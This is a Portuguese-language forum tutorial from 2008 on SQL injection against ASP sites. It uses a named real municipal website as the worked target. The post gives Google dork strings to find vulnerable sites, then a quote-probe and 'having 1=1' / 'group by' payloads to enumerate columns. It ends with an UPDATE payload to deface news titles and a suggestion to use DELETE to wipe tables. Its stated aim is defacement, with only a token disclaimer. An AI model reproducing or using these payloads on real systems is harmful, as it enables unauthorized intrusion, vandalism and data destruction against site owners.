Studio-Natch
Gostaria de reagir a esta mensagem? Crie uma conta em poucos cliques ou inicie sessão para continuar.

[tutorial] invasao de sites com sql

Ir para baixo

[tutorial] invasao de sites com sql Empty [tutorial] invasao de sites com sql

Mensagem  ETraud Qua Set 03, 2008 5:41 pm

[tutorial] invasao de sites com sql Ms_sql_logo

O que é o SQL Injection (Unclosed Quotation)?
É conhecido pelo método utilizado para inserir, apagar, editar, entre várias outras funções SQL em ataques a bases de dados através de formulários do tipo texto e password, onde o atacante poderá inserir um utilizador na sua tabela da base de dados, dando permissão para aceder a todo o sistema ou por exemplo, apagar todos os dados contidos nela.



Nesta invasão apenas vamos precisar do nosso amigo Google e dum pouco de inteligência. Primeiro passo, ir ao Google e inserir uma das strings:
allinurl:noticias.asp?id=
allinurl:.asp?id=

Para quem não sabe para que serve o 'allinurl', é apenas para o google fornecer sites com a string que indicámos.


Depois disto, escolhemos um dos sites alvos.
Ex: http://www.cm-loures.pt/psp/noticias.asp?stage=2&id=1746
Depois de abrir o site, vou adicionar a ' ao endereço do site, ficando desta forma: http://www.cm-loures.pt/psp/noticias.asp?stage=2&id=1746'
Se o site retornar este erro:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.

/noticias.asp, line 118
. É porque tudo indica que o site está vulnerável ao nosso ataque.




E agora que está vulnerável, o que fazemos? Simples, adicionamos o comando "having 1=1", para o site nos devolver mensagens de erro com os campos das tabelas, ficando desta forma:
http://www.cm-loures.pt/psp/noticias.asp?stage=2&id=1746 having 1=1
O resultado será algo como isto:
Microsoft OLE DB Provider for SQL Server error '80040e14'

Column 'tblnews.intnewsid' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

D:\WWWROOT\WWW.CM-LOURES.PT\PSP\../LouresNews/asp/incfonews_pesq.inc, line 118

Pronto, agora conseguimos saber alguns dados da base de dados. Sabemos que a tabela se chama tblnews e que o campo se chama intnewsid.





Agora para sabermos outros campos, vamos substituir o "having 1=1" por "group by", ficando algo deste género:

http://www.cm-loures.pt/psp/noticias.asp?stage=2&id=1746 group by tblnews.intnewsid
E agora ele devolve-nos mais um erro com outro campo (tblnews.strnewstitle). Lindo, já obtemos o campo que muda os títulos das notícias. Mas se quisermos saber mais campos basta pegar em todos os campos que nós já temos e separa-los por vírgulas, assim:
http://www.cm-loures.pt/psp/noticias.asp?stage=2&id=1746 group by tblnews.intnewsid, tblnews.strnewstitle
Em que vamos obter mais campos, como: tblnews.strnewssubtitle, tblnews.strnewsintro, tblnews.strnewsbody, tblnews.strnewsdate, tblnews.strimage1.




Para quem quiser deixar a sua marca, alterando por exemplo os títulos das notícias, basta:

http://www.cm-loures.pt/psp/noticias.asp?stage=2&id=1746+UPDATE+tblnews+SET+strnewstitle='Don't be afraid, Shutdown.exe was here'

Também podem usar outros comandos como por exemplo o delete para apagar tabelas ou campos.

Depois é só actualizar a página que o deface fica feito. Visto que há muitos sites em Portugal em ASP, decidi lançar esta matéria. Esta técnica não funciona com todos os sites, apenas os que têm esta vulnerabilidade. Não se esqueçam que deface é crime e só deve ser feito em situações extremas, não me responsabilizo pelo uso desta matéria.
ETraud
ETraud
Admin
Admin

Mensagens : 357
Data de inscrição : 11/07/2008
Idade : 33
Localização : Povoa de varzim

https://studio-natch.forumeiros.com

Ir para o topo Ir para baixo

Ir para o topo

- Tópicos semelhantes

 
Permissões neste sub-fórum
Não podes responder a tópicos